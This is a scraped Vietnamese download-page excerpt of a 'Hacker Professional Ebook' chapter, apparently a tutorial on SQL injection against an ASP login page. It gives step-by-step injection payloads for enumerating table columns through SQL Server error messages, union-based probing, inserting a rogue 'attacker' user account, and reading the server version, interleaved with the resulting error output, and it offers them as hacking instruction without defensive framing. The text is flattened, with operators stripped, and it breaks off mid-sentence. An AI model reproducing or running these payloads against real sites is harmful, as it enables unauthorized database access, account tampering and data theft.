Đang chuẩn bị liên kết để tải về tài liệu:
Hacker Professional Ebook part 239

Tham khảo tài liệu 'hacker professional ebook part 239', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | Lôi phát sinh Microsoft OLE DB Provider for ODBC Drivers error 80040e14 Microsoft ODBC SQL Server Driver SQL Server Column users.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. process_login.asp line 35 fantomas311 VNISS Tổng hợp về SQL Injection bài 13 Tiếp tục lấy các cái còn lại Username group by users.id having 1 1-- Microsoft OLE DB Provider for ODBC Drivers error 80040e14 Microsoft ODBC SQL Server Driver SQL Server Column users.username is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. process_login.asp line 35 biết được column username group by users.id users.username users.password users.privs having 1 1--Cho đến khi không còn báo lổi thì dừng lại vậy là bạn đã biết table và column cần khai thác rồi bây giờ đến đi lấy giá trị của nó Để xác định nội dung của column ta dùng hàm sum Username union select sum username from users-- Microsoft ODBC SQL Server Driver SQL Server The sum or average aggregate operation cannot take a varchar data type as an argument. process_login.asp line 35 Giá trị của username là varchar không nói các bạn cũng biết lý do còn dùng với id thì sao nhỉ Username union select sum id from users-- Microsoft OLE DB Provider for ODBC Drivers error 80040e14 Microsoft ODBC SQL Server Driver SQL Server All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. process_login.asp line 35 Vậy là ta có thể insert vào csdl Username insert into users values 666 attacker foobar 0xffff -- Lấy Version của server Username union select @@version 1 1 1-- Microsoft OLE DB Provider for ODBC Drivers error 80040e07 Microsoft ODBC SQL Server Driver SQL Server Syntax error converting the nvarchar value Microsoft SQL Server 2000 - 8.00.194 Intel X86 Aug 6 2000 00 57 48 Copyright 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 Build 2195 Service .